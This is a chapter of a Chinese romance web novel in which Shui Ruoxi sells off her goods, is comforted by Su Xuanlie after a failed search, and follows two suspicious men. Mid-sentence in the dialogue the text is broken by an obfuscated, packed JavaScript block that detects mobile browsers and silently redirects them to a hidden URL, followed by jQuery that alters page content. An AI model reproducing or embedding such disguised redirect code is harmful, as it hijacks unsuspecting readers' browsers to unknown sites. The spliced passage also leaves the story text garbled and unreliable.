33. 担忧
作品:《和天降失忆男结婚后》 水若惜几人就这么忙碌了几日,除了开始的那两天,后面卖起来明显没有那么容易了,但好在剩下的也不算多,最终还是在第七天收摊之前,将所有货物清完了。
“太好了,我们终于把所有东西都卖掉了。”最小的朝阳脸上满是期待和雀跃,丝毫看不吃一丝疲惫。
她看向水若惜:“小姐,接下来我们是不是可以休息一下啦?”
她第一次来这么远的地方,虽然这些天很累,但还是很想出去逛一逛。
水若惜知道她对这一切都很好奇,于是笑着点点头:“我问过王掌柜了,他五日后回家,这几天你们可以自行安排。”
“好耶!”朝阳兴奋地手舞足蹈。
钱姨却看着水若惜,有些担心:“小姐,这次来的主要目的不是要找人吗?现在还一点线索都没有,怎么能休息?”她每每想到这事,都很着急。
“对哦,小姐,我们不能休息!”朝阳这才想起事情的棘手,这可关系到了水若惜的未来。
武伯这时也不打瞌睡了,悄悄凑了过来。
一时间,除了苏轩冽,都围到了她的身边。
水若惜被他们关心着,倍感暖心。但又有些无奈,只好向他们解释道:“我们卖货物的时候,我拜托武伯去打探消息了,但没什么线索。这里所有的布都出自徐家,卖布的掌柜们从他那里进货,下单后会有人送来,根本不知那布具体出自哪里,连知情人都找不到。我们可能是白跑一趟了。”
武伯听到这,点点头,证明水若惜说的是真的。
“他们都卖了这么久了,就没有人好奇这到底是出自哪里吗?”钱姨皱眉,总觉得这事没有那么简单。
水若惜苦笑:“问过了,唯一一个愿意松嘴的掌柜跟我们说过,他们也好奇过,甚至有人找到过那个地方。但是最后的结果是徐家不再卖给他们便宜的布,甚至还有人趁火打劫,最后他们带着仅剩的家当,逃离了青龙场。自那之后,所有人便歇了这心思。”
每个人都有自己的利益需要考虑,心不齐。因此得过且过便是他们这些掌柜最好的生活方式了。反正赚的比原来多了,不是吗?
看着气氛因她的话变得低迷了起来,她忍不住安慰道:“没事呀,好歹我们货物全卖掉了,这一趟来还办了手续,知道了这里百姓的喜好。下次再来我们肯定可以卖更多的东西,这边还是挺赚钱的,还不用一直和水亦修他们抢。”
这么想想,来这里没什么不好的,只是辛苦了些。
“但是来这里一趟好辛苦…下次来难道也只是卖货吗?”朝阳有些失落,并不甘心,“如果只是卖货明明可以不用跑那么远。唉哟!”
钱姨手肘顶了顶朝阳,让她少说两句。大家都心知肚明,其实最不甘心的是水若惜,就朝阳这个小傻瓜会把小姐安慰的话当真!
真的是!
水若惜看见了她们之间的小动作,但故作没看见,笑道:“好啦!今天先收拾收拾回去吧,晚上我们庆祝一下。”
“好~”朝阳没心没肺地开始干活。
转头看见钱姨有些担忧的眼神,水若惜也只是笑着点点头:“放心吧钱姨,我没事。”
钱姨在这段时间的相处中也知道了她的性格,没有多说什么安慰的话,她知道水若惜并不需要。只是嘱咐道:“有事情别自己扛,还有我们。”
“嗯,放心吧。”
晚上五个人热热闹闹地吃了顿丰盛的晚餐,甚至还问掌柜要了酒。除了朝阳,每个人都喝了点,直到这时,才发现,武伯和钱姨居然都好酒。
“嗝…我也很想喝啊,但是前面大家都那么正经,我怕喝了第二天起不来给你们拖后腿。”钱姨喝醉了,开始收不住自己的抱怨,“一个两个,年纪不大,主意倒是大的很,跑这么远!”
武伯好像也醉了,红着脸,不吭声。坐在钱姨身边闷声灌酒,听她抱怨的内容,还时不时点点头。
“现在事情终于告一段落,我可以喝一口了,早知道这一个多月都不能喝酒,我应该问水老爷再要些工钱。”
钱姨醉醺醺的眼神看到面露愧疚的水若惜,又笑了:“算了算了,认识你个小娃,也算一件幸事。”没见过这么没有小姐架子的小姐,天天和他们混在一起,闷声不吭专心做事。
还动不动就心软,到处操心!
起身,拍了拍水若惜的头,仿佛是要将她的愧疚也一并拍走,嘴上说的却是:“水小姐不要回去告状,说我不尊敬你哦~”
挎住来阻拦她拍头的朝阳:“走,小朝阳,带我回屋!”醉醺醺的脚步拖沓着,撑着朝阳向自己的屋子走去。
“哎呀!钱姨你怎么可以拍小姐的头,会傻的!”朝阳被迫朝屋子的方向走去,下意识扶住她,嘴里却在不停抱怨着。
“你家小姐聪明着呢,不怕哈!我不会拍你的,小朝阳放心。”她才不拍傻的。
“我才不傻!!”朝阳反应了过来,反驳的声音却没有什么底气。
“哈哈哈!”
钱姨的笑声逐渐消失,她们回屋了。
武伯也起身,行礼:“那水小姐,老夫也先回去了。”
又只剩下了水若惜苏轩冽两个人,水若惜举杯,小小的喝了口酒,辛辣的味道沿着喉咙滑下,她并不喜欢这个味道。但紧接着,她又喝了一口。
“唔…”喝太快,她差点被呛到,生理性的泪水涌出了眼眶。
“不能喝就别喝了。”苏轩冽将酒杯从她的手中拿走,劝道。
“…我是个聪明的人吗?”水若惜想起了钱姨临走之前的话,有些落寞,“我其实觉得来青龙城这个决定傻透了。”
“为什么呢?”
“没有做好提前的了解,凭借着自己的想象便兴冲冲地来到这里。卖的货物也不对,更没什么找到人的可能性。我像是做了一个胆大的梦,还让你们陪着我一起受苦。”说到后面水若惜有些哽咽,“如果我听爹的,留在府里,是不是才是好的?”
“虽然你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17143851|194357||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一开始的货物不对,但是你不是已经解决了这件事吗?”苏轩冽看见她泛红的眼眶,有些心疼,蹲到了她的面前,仰头看着她,“你做的很棒。”
水若惜捂住了自己的脸,不想让他看见自己的脆弱,闷声说道:“这是你想的主意,和我又有什么关系,我还没有好好谢谢你。”
“若惜”苏轩冽的手抓住了她的手,语气温柔,带着一丝恳求,“看着我,好吗?”
水若惜顺着他的力道松开手,有些不情愿地看向他。
“一开始提出这里可能有发现的人是我,如果按照你的这种说法,你是不是应该怪我害你产生了这种念头?”
水若惜摇头:“这是我的决定,怎么能怪你呢?”
“那我们选择来这里也是我们的决定,又怎么能怪你呢?”苏轩冽掏出帕子,轻轻擦掉了她的一滴泪,“更何况虽然卖盲盒的主意是我提的,但是真正制定计划,并将这个计划实施下去的是你,你才是那个最重要的人。”
水若惜还是很低落:“可是我们根本没有任何办法去找我们想找的那个人。”
“要是那么容易找到相关的人是我们运气好,但是找不到不也是人之常情吗?你临行之前不就是怕遇到这种情况才带了很多的货物,以防空手而归吗?”
当时是这样打算的吗?水若惜已经有些不记得了,但是被苏轩冽安慰后,她感觉好多了:“谢谢你,阿冽。”
被叫名字的郑重道谢,苏轩冽立马变得有些不自在:“哎呀,突然这么郑重地谢我做什么,我们是伙伴,是夫妻。”道谢是不是有些见外了。
“噗”水若惜听见他说夫妻觉得有些好笑,“每个月要给工钱的夫妻。”
苏轩冽愣了愣,因酒精躁动的心突然静了下来。
又想到了不明身份的原身和不知为何来到这里的他,勉强扬起嘴角,试图让自己没那么在意水若惜的话:“水主母上个月的工钱还没有给我呢。”
“哎呀,忘记了。”水若惜一拍脑袋,最近太忙了,她好像已经很久没有给他该有的工钱了。
“到时候记得连利息一起包给我哦。”
“哈?居然还要利息,我前面让你赔我杯子都没有算你利息。”
“那是若惜你大方,我可是个穷光蛋,当然要多争取一下~”
“不给!”
两个人一边说笑,一边坐在桌前又点了点东西吃,最主要的还是陪着水若惜,前面情绪不佳没怎么吃饭,现在心情好了便感到了饥饿。
这时,一旁的对话引起了他们的注意。
“快点吃,晚上活还多着呢。”
“大哥,我真是不明白,不就是一块破布吗,为什么徐管家要这么小心翼翼,每次都要晚上才碰头。”总觉得有些奇怪,有这么见不得人吗?
“徐管家是你能怀疑的吗?他让我们做什么就做什么,少废话!快吃!”
听到这,水若惜二人对视一眼,默不作声地在他们吃完后跟了上去。

